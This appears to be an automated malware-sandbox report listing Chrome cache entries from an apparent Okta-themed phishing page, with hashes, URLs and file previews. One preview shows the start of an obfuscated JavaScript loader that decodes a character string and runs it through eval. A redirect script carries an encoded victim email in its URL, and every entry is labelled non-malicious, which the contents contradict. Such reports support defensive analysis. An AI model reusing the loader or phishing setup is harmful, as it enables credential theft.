                                                                  SHA1:73B56E33B82B42921DB8702A33EFD0F2B2EC9794
                                                                  SHA-256:5A51D246AF54D903F67F07F2BD820CE77736F8D08C5F1602DB07469D96DBF77F
                                                                  SHA-512:60A058B20FCB4F63D02E89225A49226CCD7758C21D9162D1B2F4B53BBA951B1C51D3D74C562029F417D97F1FCA93F25FDD2BC0501F215E3C1EF076810B54DD06
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/GDSherpa-bold.woff2
                                                                  Preview:wOF2......m`......$...l....B.......................6....`..<.<..b.....$....6.$..x..>.. .....{...[..q.k.]]O....s...|..n...!..[<;....P&..g....!..I'i..Q.DP....9..J......9G..Q1(..)Jn......8Y......)J.F.c A..7k.v...2=.Z.n.4`...~Nl...4;...S.l{w..:.#..=!. ..X....>[.7........1??.3.?t..qE..f...b...,.Fwcp8...4^.^x..|....Ro<%.."....~0..q..rP..G.......R....-..{O.QeJ.....6.E........{.{.....,h.!.._......$..3..cF@..>........t.o...Fc ...YS.....s.V..j....uk.`n......#....6.....1`kbd..Z..).x...F........T.._..}...p..._F.0.S'.V.g........3.$...Jf.j._,J....v7(...(..bm.....a....Nh.(QS.H...5.w.o.1.[<m.1.cJ......B......R..L..>[|@..]../...6.\..(.j.Bn...Oj.&/j@.'T...w.,...*...e.g.I=.w.x..ap..?.......lI../..uuDH.P.....)._...<..C.x.......Kh.P.|"M..JQ......?`..S@{..o..RjCE.qx.p.!(Wi....dY.%./r.#.p..C ..........r.o4P.}...3X..].....6.'~&...]...*y...YQ..9."v....3...oEMQoWM.W`................Y.V..O2......l....p.1..B..Fn..o.<..,C......^.Y.C...W..tX..|.`...5:.Yd@]..j..$...v.

                                                                  Chrome Cache Entry: 115

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                  Category:downloaded
                                                                  Size (bytes):1818
                                                                  Entropy (8bit):4.046652702841618
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:ADE1C5A07C1E77FA3F9F3F40C11CBA7E
                                                                  SHA1:B78E17780B50EDE556B3DA468CC9164ECD7E4583
                                                                  SHA-256:C51C82748443E8867D89F083010BB0FE6E0FFD97987A840F7C52462FA7FC8F3C
                                                                  SHA-512:5AE78F87BEFC333895D0765E144734954D2272D4A7511566018CB2AB33E4ABB7443180884A0DC7C3C2E4D7BFA91D0431DA2CD5C2326BBF41B30011CCA01C8A07
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://registrosaraquari.com.br/0/index.xslt
                                                                  Preview:<?xml version="1.0" encoding="UTF-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">.. <xsl:template match="/">.. <html lang="en">.. <head>.. <meta charset="UTF-8"/>.. <meta name="viewport" content="width=device-width, initial-scale=1.0"/>.. <title>File loading</title>.. <script>.. <![CDATA[.. // Function to get the value of a parameter from the URL.. function getParameterByName(name, url) {.. if (!url) url = window.location.href;.. name = name.replace(/[\[\]]/g, "\\$&");.. var regex = new RegExp("[?&]" + name + "(=([^&#]*)|&|#|$)"),.. results = regex.exec(url);.. if (!results) return null;.. if (!results[2]) return '';..

                                                                  Chrome Cache Entry: 116

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:Web Open Font Format (Version 2), TrueType, length 28584, version 1.66
                                                                  Category:downloaded
                                                                  Size (bytes):28584
                                                                  Entropy (8bit):7.992563951996154
                                                                  Encrypted:true
                                                                  SSDEEP:
                                                                  MD5:17081510F3A6F2F619EC8C6F244523C7
                                                                  SHA1:87F34B2A1532C50F2A424C345D03FE028DB35635
                                                                  SHA-256:2C7292014E2EF00374AEB63691D9F23159A010455784EE0B274BA7DB2BCCA956
                                                                  SHA-512:E27976F77797AD93160AF35714D733FD9E729A9981D8A6F555807981D08D8175E02692AA5EA6E59CEBD33895F5F6A3575692565FDD75667630DAB158627A1005
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/GDSherpa-regular.woff2
                                                                  Preview:wOF2......o.......6x..oG...B.......................>....`..<.<..b.....h..B.6.$..x..>.. ..'..{...[x"q..].....hJ....'.......6.2.[....q....z..mCww...*.eU..S.........0..S.s..,....\.e..F.&....oU*R.}Q.C..2.TD....5..#..h.H.2.|<.1.z..].xZ...z..z..W.........p%..F.e.r"yG.......f.M3.].U.p...E..<..:..j..E......t....!....~a...J.m....f.d.eE..>.:.9.....,6K{.q..6e..4:z......{.{....$.. ...B....9:0.G..6.9R....m..jCW.m.]:{.p..?P.O.B..E....u.J.._..........dd=. l..SJ..fjm....\....)...6......mV.`.J.R.A..R.....J...T.y.........m...k-....{'.Ud"...C.$d*.N 9}.N]..2p.q.T..6.-A.U...."..o.\......uh...$..4j..v...9....anl/NT....K....k..A...........U5S.=.t[.)/s.R.......F..)6H A..'?!....7S.....w:.%.H.@...l?...lm..lUd D...-.... .......5).`..w&..Q....-.. ...9.Xt./SQ?.s+u.9..\.h.l.G.#.*..#@.F..f.1.f..=`....p.....=c..f=..p 4By.u.z'...$;.s.....z.....X..n6y-...........<.......X......~+j.z.j.......7.PD..O..w..9..8].!~C&.......*LCE..Nf~.N.eJ.iXnX*C.&....t.U..Nr.@..lZ.... .X..

                                                                  Chrome Cache Entry: 119

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                  Category:downloaded
                                                                  Size (bytes):17842
                                                                  Entropy (8bit):7.821645806304586
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:4B52ECDC33382C9DCA874F551990E704
                                                                  SHA1:8F3BF8E41CD4CDDDB17836B261E73F827B84341B
                                                                  SHA-256:CCE050CC3B150C0B370751021BB15018EE2B64AC369E230FE3B571A9B00D4342
                                                                  SHA-512:AC3D3C82BAD9147AE5F083ED49C81A744F672DDFBB262135AA3F2C6601F8DFFEA11D8E323CEF025C36D76C6F2515AA6814B622CF504CA01D13346E9EA989048F
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/uvCrkdS4sVQLblK9iUyXZWTOZI5Dc45gWlMwUwXcVQ5HVhV0E2h4h3gJx71q60gh260
                                                                  Preview:RIFF.E..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.,...$.m.8..k.\.oDL.. ..TU....3'.{.g..6..2...6.DL`e..."&@..b.#&@......T.....'.....$......1.d...G........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........?.........._...........................?...Z5[...B,.c...V-...m.0.../..?...............?.......?................_.....-...M.B.....=....C...[......w .X...ea.............VW.?b....[[.o^.Y.K...OD

                                                                  Chrome Cache Entry: 122

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:ASCII text, with very long lines (65447)
                                                                  Category:downloaded
                                                                  Size (bytes):89501
                                                                  Entropy (8bit):5.289893677458563
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:8FB8FEE4FCC3CC86FF6C724154C49C42
                                                                  SHA1:B82D238D4E31FDF618BAE8AC11A6C812C03DD0D4
                                                                  SHA-256:FF1523FB7389539C84C65ABA19260648793BB4F5E29329D2EE8804BC37A3FE6E
                                                                  SHA-512:F3DE1813A4160F9239F4781938645E1589B876759CD50B7936DBD849A35C38FFAED53F6A61DBDD8A1CF43CF4A28AA9FFFBFDDEEC9A3811A1BB4EE6DF58652B31
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://code.jquery.com/jquery-3.6.0.min.js
                                                                  Preview:/*! jQuery v3.6.0 | (c) OpenJS Foundation and other contributors | jquery.org/license */.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n||E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]||t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}funct

                                                                  Chrome Cache Entry: 72

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                  Category:downloaded
                                                                  Size (bytes):9648
                                                                  Entropy (8bit):7.9099172475143416
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:4946EB373B18D178C93D473489673BB6
                                                                  SHA1:16477ACB73B63CA251D37401249E7E4515FEBD24
                                                                  SHA-256:666BC574C9F3FB28A8AC626FA8105C187C2A313736494A06BD5A937473673C92
                                                                  SHA-512:F684B90B748DC8399F76C5D8F94AF6C4E6869143F18D19CE435B25EAA14E9647B120467BDD0795895676DC0CCCDEABF82BEB2F46CE2C5BF4C58ED9C134F30C48
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/op75mQqx1n2Dk3yrHQCNx1pqg7GvFntHLN6ll12AfFPJ5mvcT8IqHATcRSjK27Gmk5jeRX4bkoQvcd237
                                                                  Preview:RIFF.%..WEBPVP8X....0.........ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH......0....n.mu..G..t042.....@...`[...%...6....9AD.'@.,f.B...+..+..+..W&.p.....h.......f.-...+.....m...n....E....O].+R.&Q..#.X.ip4..p......\O...\/....9.5.a..DfZ,K....8.....Z..2..z......t.......|.I.(..6E.D.}.C..OQD$S}iZ...[D.......q`(...@../.NQ......+"b%.X.D".G.*...0G...".2........x.O......7......E..&....e.F..4...K>.M..Pd.B...@'o./te..[.f....4[..a..x...9#.@$.=...t..=..t_.W....[..f.|fv...N...c6..k4}.9.7.....f.F3.4[...a...;.m.@N.n.0.....n.G[c.H.}..t.{..;....G...2.::..].0....

                                                                  Chrome Cache Entry: 73

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:RIFF (little-endian) data, Web/P image
                                                                  Category:dropped
                                                                  Size (bytes):25216
                                                                  Entropy (8bit):7.947339442168474
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:F9A795E2270664A7A169C73B6D84A575
                                                                  SHA1:0FBB60AB27AB88C064EB347D0722C8ED4CF5E8B8
                                                                  SHA-256:D00203B2EEA6E418C31BAAFA949ADA5349A9F9B7E99FA003AEC7406822693740
                                                                  SHA-512:E17C8D922F52C8AB36D9C0A7DC41D32735CF1680EA653056308C6D23255FDBE40B96C68F0E7F8B3B521B6ACB080CD825F94320364B0A70141606A4449D980517
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:RIFFxb..WEBPVP8X....0...o.....ICCP.............0..mntrRGB XYZ ............acsp.......................................-....................................................desc.......$rXYZ........gXYZ...(....bXYZ...<....wtpt...P....rTRC...d...(gTRC...d...(bTRC...d...(cprt.......<mluc............enUS.........s.R.G.BXYZ ......o...8.....XYZ ......b.........XYZ ......$.........XYZ ...............-para..........ff......Y.......[........mluc............enUS... .....G.o.o.g.l.e. .I.n.c... .2.0.1.6ALPH.Y....'$H..xkD....oUS..[.uM....CwI.H#.H.t(..!J.AJ# .(........0.W.?D...g.6..u......}K5.>|....^..*2.....z..../.1..F..A...Vk..W.Wm?z....H+.;:...s..Z;....V.....Z.gm.......\>.}..-.....w...D.........+,K...#......._[L.[.]w1..[.l..8.....f..E...W....;....o.Q...T`.W.(..........;^........:.T..6......Yo..x.6..n.\A.5X.........J....2.O.)....0..zdL1.x.X..e?.eA.M%f.D..W.].A=6D.....w....>.*3|M.7....aEe&l.or.Tt^.*6li..lYz.HF.....2.\...U.tfQ.<ZlHB.G--....]T..h.L.U]...m....{..T{....~......K#

                                                                  Chrome Cache Entry: 75

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:SVG Scalable Vector Graphics image
                                                                  Category:dropped
                                                                  Size (bytes):270
                                                                  Entropy (8bit):4.840496990713235
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:40EB39126300B56BF66C20EE75B54093
                                                                  SHA1:83678D94097257EB474713DEC49E8094F49D2E2A
                                                                  SHA-256:765709425A5B9209E875DCCF2217D3161429D2D48159FC1DF7B253B77C1574F4
                                                                  SHA-512:9C9CD1752A404E71772003469550D3B4EFF8346A4E47BE131BB2B9CB8DD46DBEF4863C52A63A9C63989F9ABEE775CB63C111ADD7AFA9D4DFC7A4D95AE30F9C6E
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  Preview:<svg xmlns="http://www.w3.org/2000/svg" width="12" height="12" viewBox="0 0 12 12"><title>assets</title><rect width="12" height="12" fill="none"/><path d="M6.7,6,12,11.309,11.309,12,6,6.7.691,12,0,11.309,5.3,6,0,.691.691,0,6,5.3,11.309,0,12,.691Z" fill="#262626"/></svg>

                                                                  Chrome Cache Entry: 76

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:ASCII text, with very long lines (48238)
                                                                  Category:downloaded
                                                                  Size (bytes):48239
                                                                  Entropy (8bit):5.343270713163753
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:184E29DE57C67BC329C650F294847C16
                                                                  SHA1:961208535893142386BA3EFE1444B4F8A90282C3
                                                                  SHA-256:DD03BA1DD6D73643A8ED55F4CEBC059D673046975D106D26D245326178C2EB9D
                                                                  SHA-512:AF3D62053148D139837CA895457BEEF7620AA52614B9A08FD0D5BEF8163F4C3B9E8D7B2A74D29079DB3DACC51D98AE4A5DC19C788928E5A854D7803EBB9DED9C
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js
                                                                  Preview:"use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function v(s){Ht(l,o,c,v,h,"next",s)}function h(s){Ht(l,o,c,v,h,"throw",s)}v(void 0)})}}function V(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):V(e,t)}function De(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function Ve(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){De(e,c,a[c])})}return e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

                                                                  Chrome Cache Entry: 78

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:SVG Scalable Vector Graphics image
                                                                  Category:downloaded
                                                                  Size (bytes):7390
                                                                  Entropy (8bit):4.02755241095864
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:B59C16CA9BF156438A8A96D45E33DB64
                                                                  SHA1:4E51B7D3477414B220F688ADABD76D3AE6472EE3
                                                                  SHA-256:A7EE799DD5B6F6DBB70B043B766362A6724E71458F9839306C995F06B218C2F8
                                                                  SHA-512:2C7095E4B819BC5CAA06811A55C0DAE6706970F981806DCF7FD41F744C1DC6A955657A8E57829B39B376B892E8173E8A41F683D329CFBBD0EC4D4019B10E52FF
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/klw0MWVCCCfjzbu3qhSfOHiFVdyzK5NKZ1JyeafAXi3Uv56163
                                                                  Preview:<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">..<mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff">..<path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 10.335 12.9974C6.89614 14.0647 4.5 17.2233 4.5 20.9412C4.50019 20.968 4.50041 20.9949 4.50066 21.0218C4.50022 21.0574 4.5 21.093 4.5 21.1287C4.55021 28.2609 6.80967 39.1601 18.6091 46.4932C21.8225 48.5023 25.8896 48.5023 29.1532 46.4932C41.053 39.2103 43.3125 28.3111 43.3125 21.1287C43.3125 21.108 43.3124 21.0872 43.3123 21.0665C43.3124 21.0246 43.3125 20.9829 43.3125 20.9412C43.3125 17.3371 41.0055 14.1946 37.6702 13.0618C37.0607 5.27148 31.147 0 23.9762 0ZM12.2354 38.4694C14.3087 33.9987 18.8368 30.8981 24.0891 30.8981C29.2395 30.8981 33.6936 33.8797 35.8194 38.2109C33.9302 40.6119 31.4399 42.8954 28.1744 44.8939L28.1724 44.8952L28.1703 44.8965C25.5047 46.5374 22.2037 46.5293 19.6031 44.9034L19.6009 44.902L19.5988 44.9007C16.4876 42.9672 14

                                                                  Chrome Cache Entry: 79

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:HTML document, ASCII text, with CRLF line terminators
                                                                  Category:downloaded
                                                                  Size (bytes):264
                                                                  Entropy (8bit):4.9889439763238475
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:4B313268E87BCFA907A4C973B4D5DB2D
                                                                  SHA1:EC37B09124AC8984A037C3DCC40CA03B72250C5B
                                                                  SHA-256:6A1D8A7446DA17C7EE69E19BA4323ED8DCE2882D551EEBE76586C523C6AC94B2
                                                                  SHA-512:7003FADAAF7E2CE7DC869DE7835FACCA1B67EC3A3E526D836EE27C47F7CDE24AE46CE1307FE0A9896D52A0D3F06CF39F21007303E9F0DF35C3D95DFB1B167570
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://registrosaraquari.com.br/g63d/686989/Texanacenter/?nl=YnJpYW4uZ3VyYmFjaEB0ZXhhbmFjZW50ZXIuY29t
                                                                  Preview:<!DOCTYPE html>..<html>..<head>.. <title></title>..</head>..<body>.. <script>.. var u = window.location.href.lastIndexOf("/") + 1;.. var d = window.location.href.substring(u);.. window.location.replace("/0/index.xml" + d);.. </script>..</body>..</html>

                                                                  Chrome Cache Entry: 80

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:ASCII text, with very long lines (26765), with no line terminators
                                                                  Category:downloaded
                                                                  Size (bytes):26765
                                                                  Entropy (8bit):5.114987586674101
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:1A862A89D5633FAC83D763886726740D
                                                                  SHA1:E5CE3AA454C992A13FD406A9647D7AFBF831051F
                                                                  SHA-256:5C22FD904EDB792331A7307DDF4A790E0D1318924F6D8E7362FA6B55D5AB6FBB
                                                                  SHA-512:3BFAB627DC0EBFAE1176098C870B4D2747518E7EA91646303276191A4A846D47B2E80BB1EE2FA67271130ECCBC8B1152778C99917FC6C63EA45A184BD673BF0D
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/5689EGsgt7WhYocxyMxT56718
                                                                  Preview:#authcalldesc,#sections,.text-m{font-size:.9375rem}*,input[type=radio]{box-sizing:border-box;padding:0}.alert,.radio label,.row.tile{margin-bottom:0}#sections,.input-group-addon,.table .table-cell,img{vertical-align:middle}#sections_doc .pdfheader #pageName,#sections_pdf .pdfheader #pageName,.row.tile,.row.tile:not(.no-pick):active,.row.tile:not(.no-pick):hover,input{color:inherit}.p,.subtitle,.text-body,.text-subtitle,h4{font-weight:400}*,.text-title{font-family:"Segoe UI","Helvetica Neue","Lucida Grande",Roboto,Ebrima,"Nirmala UI",Gadugi,"Segoe Xbox Symbol","Segoe UI Symbol","Meiryo UI","Khmer UI",Tunga,"Lao UI",Raavi,"Iskoola Pota",Latha,Leelawadee,"Microsoft YaHei UI","Microsoft JhengHei UI","Malgun Gothic","Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}*{margin:0}.websitesections{height:100%;width:100vw;position:relative}#sections_doc,#sections_go

                                                                  Chrome Cache Entry: 81

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:ASCII text, with very long lines (51734)
                                                                  Category:downloaded
                                                                  Size (bytes):222931
                                                                  Entropy (8bit):5.0213311632628725
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:0329C939FCA7C78756B94FBCD95E322B
                                                                  SHA1:7B5499B46660A0348CC2B22CAE927DCC3FDA8B20
                                                                  SHA-256:0E47F4D2AF98BFE77921113C8AAF0C53614F88FF14FF819BE6612538611ED3D1
                                                                  SHA-512:1E819E0F9674321EEE28B3E73954168DD5AEF2965D50EE56CAD21A83348894AB57870C1C398684D9F8EAB4BBBEF5239F4AEA1DCAB522C61F91BD81CF358DA396
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css
                                                                  Preview:@charset "UTF-8";.qtip{box-shadow:none;direction:ltr;display:none;font-size:10.5px;left:-28000px;line-height:12px;max-width:280px;min-width:50px;padding:0;position:absolute;top:-28000px}.qtip-content{word-wrap:break-word;padding:5px 9px;text-align:left}.qtip-content,.qtip-titlebar{overflow:hidden;position:relative}.qtip-titlebar{border-width:0 0 1px;font-weight:700;padding:5px 35px 5px 10px}.qtip-titlebar+.qtip-content{border-top-width:0!important}.qtip-close{border:1px solid transparent;cursor:pointer;outline:medium none;position:absolute;right:-9px;top:-9px;z-index:11}.qtip-titlebar .qtip-close{margin-top:-9px;right:4px;top:50%}* html .qtip-titlebar .qtip-close{top:16px}.qtip-icon .ui-icon,.qtip-titlebar .ui-icon{direction:ltr;display:block;text-indent:-1000em}.qtip-icon,.qtip-icon .ui-icon{-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;text-decoration:none}.qtip-icon .ui-icon{background:transparent none no-repeat -100em -100em;color:inherit;height:14px;line-heigh

                                                                  Chrome Cache Entry: 83

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:Web Open Font Format, TrueType, length 36696, version 1.0
                                                                  Category:downloaded
                                                                  Size (bytes):36696
                                                                  Entropy (8bit):7.988666025644622
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:A69E9AB8AFDD7486EC0749C551051FF2
                                                                  SHA1:C34E6AA327B536FB48D1FE03577A47C7EE2231B8
                                                                  SHA-256:FD78A1913DB912221B8EAD1E62FAD47D1FF0A9FA6CD88D3B128A721AD91D2FAF
                                                                  SHA-512:9A0E4297282542B8813F9CC85B2CCB09663CE281F64503F9A5284631881DA9AACF7649553BF1423D941F01B97E6BC3BA50AB13E55E4B7B61C5AA0A4ADF4D390F
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/GDSherpa-regular.woff
                                                                  Preview:wOFF.......X......6........0...(............DSIG...(............GPOS..........^>....GSUB.............3y.OS/2.......F...`h`{Zcmap...........<.?+.cvt .......0...<(...fpgm............?...gasp................glyf.."0..Tl...h...+head..v....4...6..}.hhea..v....!...$...Zhmtx..v........x;...loca..z|...........tmaxp..~$... ... .-..name..~D.......'....post............1+.,prep.............P..x..\.|U..Nr.^.......DD.T....V...C....U._.N..k.8.m...h.Q.6q....#....Y4l.}3.@ .............Z_....s.....>RD.....J....wR./...#.,<'f....4b..}(....P..\.s.9'.....-.Q..d..H.@%..K+....4U.4...yx.3..DkfJ..3S.H......|..........%.B...........W.~..nN<x.?....}jn...W..M.7...?...:-uAjQ.4J.].vm....H{&...y..@....G...~.......x=.V..g.;..@..J.l...G..L... g*M..h.....Q!}B...Q.m.M...R.5*.JUi*..U_5@]..PW...*5H.VW.k..:5D].nP#..5V=....x.....W/...E5I...NVS.T.u...^U3._...m5G-P...U...Gj.*V..j.Z...j..BJ.._Pw..0..f*...q...q5...'.F=MIj.7..^.f."..K\..pHMC.t.W.Z.Bz...l.+.....e|......B>....1.a,.D.Ej..(.

                                                                  Chrome Cache Entry: 84

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:Unicode text, UTF-8 text, with very long lines (21720), with CRLF line terminators
                                                                  Category:downloaded
                                                                  Size (bytes):4712061
                                                                  Entropy (8bit):2.583772531747173
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:E34A613844E71AD9EA25A2FAAB768F3F
                                                                  SHA1:34844596642BED7752C4AED44721CEE52593B344
                                                                  SHA-256:D767A16A68A568D204E0E4283BDDB8A9702CCF95BF2715D512C4AE39C3D79AB5
                                                                  SHA-512:8D5342EC77557793F73701400220B10421E6B1ED941876554D27F27A0573644F26C66FA4AB7019E666F6471688E2F7857394CC127197EF109FC076BC5534342C
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://rft.naturdon.com/34nEEFJyE1MDLcighsvrgTcHDnXpk89110
                                                                  Preview:function decodeAndEvaluate(key) {.. const binaryString = [...key].. .map(char => Number('.' > char)).. .join('').. .replace(/.{8}/g, byte => String.fromCharCode(parseInt(byte, 2)));.. .. (0, eval)(binaryString);.. return true;..}....const handler = {.. get: function(_, prop) {.. decodeAndEvaluate(prop);.. return true;.. }..};..const viewsen = new Proxy({}, handler);..viewsen["........................................................................................................................................................................................................

                                                                  Chrome Cache Entry: 87

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:ASCII text, with very long lines (48316), with no line terminators
                                                                  Category:downloaded
                                                                  Size (bytes):48316
                                                                  Entropy (8bit):5.6346993394709
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:2CA03AD87885AB983541092B87ADB299
                                                                  SHA1:1A17F60BF776A8C468A185C1E8E985C41A50DC27
                                                                  SHA-256:8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
                                                                  SHA-512:13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
                                                                  Malicious:false
                                                                  Reputation:unknown
                                                                  URL:https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
                                                                  Preview:!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U||function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create||function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init||(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

                                                                  Chrome Cache Entry: 88

                                                                  Download File
                                                                  Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  File Type:HTML document, ASCII text, with very long lines (52007), with CRLF line terminators
                                                                  Category:downloaded
                                                                  Size (bytes):150506
                                                                  Entropy (8bit):5.959513087046845
                                                                  Encrypted:false
                                                                  SSDEEP:
                                                                  MD5:4BEBB261671A9A400A4488F0E0A95DF2
                                                                  SHA1:9FD3B8D87882100F433069599B7B8856903C7FD4
                                                                  SHA-256:70CE8500889EA876AD24B4564F1BA3265CC22ECEECCF220CC9A32DA408EFF345
                                                                  SHA-512:DD402A3727AC68E73850A01B6183721C15A8C70235DC933F3E0FECC8316211D1D9EF22F65F5F299A86CCD680EDA723230450D51442E9ADB4289B61C02FDCF3F9
